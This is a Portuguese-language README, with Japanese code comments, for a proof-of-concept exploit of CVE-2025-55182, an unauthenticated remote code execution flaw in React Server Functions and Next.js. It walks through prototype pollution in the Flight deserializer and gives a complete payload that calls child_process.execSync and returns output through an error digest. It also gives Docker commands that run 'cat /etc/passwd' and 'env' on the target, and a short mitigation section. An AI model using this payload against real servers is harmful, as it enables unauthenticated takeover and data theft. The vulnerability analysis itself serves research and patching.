CVE-2025-55182

Prova de conceito da vulnerabilidade de execução remota de código (RCE) em React Server Functions (Next.js, entre outros). Explora a poluição de protótipo para executar código arbitrário no servidor sem autenticação.

Aviso: Este repositório é apenas para fins educacionais e de pesquisa. É estritamente proibido o uso indevido.

Visão geral

Versões afetadas

• Next.js: 16.0.6 ou anterior (vulnerável)
• React: anterior a este commit

Severidade da vulnerabilidade

• CVSS: Alta (pontuação detalhada não divulgada)
• Dificuldade de ataque: Baixa (sem autenticação, atacável com uma única requisição HTTP)
• Impacto: Execução de código arbitrário no servidor

Causa da vulnerabilidade

No processo de desserialização do React Flight Protocol, a validação da cadeia de protótipos é insuficiente. Isso permite acessar o construtor Function por meio de __proto__ e executar código JavaScript arbitrário.

Uso

Ambiente Docker (recomendado)

É a forma mais simples de verificação.

# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build

# 1. エクスプロイトを実行（デフォルト: idコマンド）
docker compose run --rm poc

# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. サーバーを停止
docker-compose down

Explicação técnica

1. Conhecimento prévio

O que são React Server Functions

É um recurso de API do lado do servidor oferecido pelo Next.js, entre outros.

// Server Action（サーバー側でのみ実行される関数）
async function submitForm(formData) {
  'use server'  // ← サーバー関数の宣言

  // データベース操作など、サーバー側の処理
  const result = await db.insert(formData)
  return result
}

Quando chamada a partir do cliente:

1. Enviada ao servidor como uma requisição HTTP
2. Os argumentos são serializados/desserializados pelo React Flight Protocol
3. A função é executada no lado do servidor
4. O resultado é retornado ao cliente

Como funciona o React Flight Protocol

O cliente envia os dados em unidades chamadas de "chunks":

files = {
    "0": (None, '["$1"]'),                                  # チャンク0: チャンク1への参照
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
    "2": (None, '{"fruitName":"cherry"}'),                  # チャンク2: 実際のデータ
}

Quando desserializado no lado do servidor:

{ object: 'fruit', name: 'cherry' }

O ponto-chave é que os chunks podem fazer referência cruzada entre si.

2. Detalhes da vulnerabilidade

O problema

Antes do commit de correção, ao resolver referências de chunks, não era verificado se a chave existia de fato no objeto.

Isso permite acessar a cadeia de protótipos.

Ataque básico (obtenção do construtor Function)

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Processo de resolução da referência:

チャンク1のオブジェクト → __proto__ → constructor → constructor → Function

Resultado:

[Function: Function]  // Functionコンストラクタを取得！

Evolução do ataque (exploração do método then)

Transforma o chunk 0 em um objeto e define a propriedade then como o construtor Function:

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Código do Next.js (action-handler.ts:888, antes do patch):

boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Esse await, ao tentar chamar o objeto cujo then é o construtor Function, gera um erro:

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Técnicas de exploração (avançadas)

Desafio

O construtor Function foi obtido, mas como fazer com que execute código arbitrário?

O que é necessário:

1. Um gadget que chame o construtor Function (passando o código como string)
2. Um gadget que execute a função gerada

Solução: chunk de autorreferência

Ideia de maple3142: criar um "chunk falso" em que o chunk 0 referencia a si mesmo.

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # 自分のthenをChunk.prototype.thenで上書き
    "1": (None, '"$@0"'),                          # $@0 = チャンク0の「生」の表現
}

A sintaxe $@ retorna o "chunk bruto", em vez do valor resolvido:

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Resultado: o then do chunk 0 é substituído por Chunk.prototype.then.

Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← ここに入る
  }
  // ...
}

Exploração da avaliação em duas etapas

Ao definir status: "resolved_model" no chunk falso, initializeModelChunk é chamado:

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Internamente, em initializeModelChunk:

function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Aqui ocorre a segunda avaliação.

Payload final: exploração do processamento de Blob

Processamento de blob do React Flight Protocol (prefixo $B):

case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← ここを悪用
  );

Manipula o _response do chunk falso para definir _formData.get como o construtor Function e _prefix como o código a ser executado:

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString()でエラーにならないように
    "value": '{"then": "$B0"}',  # blob参照でthenを設定
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Functionコンストラクタ
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Fluxo de execução:

response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行！

4. Funcionamento do PoC

O poc.py implementa o payload descrito acima e extrai o resultado da execução do comando a partir da mensagem de erro:

# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Basta definir o cabeçalho HTTP Next-Action: x para que o ataque seja bem-sucedido:

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Importante: Este ataque ocorre durante a desserialização e, portanto, é executado antes da validação da ação (getActionModIdOrError).

Mitigações

Para desenvolvedores

1. Atualize imediatamente: Atualize o React e o Next.js para as versões mais recentes

   root@kitploit:~

   npm update react react-dom next
   

2. Verifique as versões:

   root@kitploit:~

   npm list react next
   

   • Next.js 16.0.7 ou posterior
   • React 19.2.1 ou posterior (incluindo o commit de correção)

3. WAF/Medidas de segurança:

   • Monitoramento do cabeçalho Next-Action
   • Bloqueio de dados de formulário anômalos

Verificação de vulnerabilidades

# プロジェクトの脆弱性チェック
npm audit

Referências

1. Documentação oficial do React Server Functions
2. Explicação sobre o React Flight Protocol
3. Commit de correção
4. Explicação sobre protótipos em JavaScript
5. Construtor Function
6. Descobridor: maple3142

Licença e aviso de isenção

Este repositório é fornecido somente para fins educacionais e de pesquisa.

• É ilegal usar contra sistemas de terceiros sem permissão
• O autor não se responsabiliza por quaisquer danos decorrentes do uso
• Pesquisadores de segurança devem usá-lo com responsabilidade

Contribuição

Descoberta da vulnerabilidade: maple3142 Implementação do PoC: criador deste repositório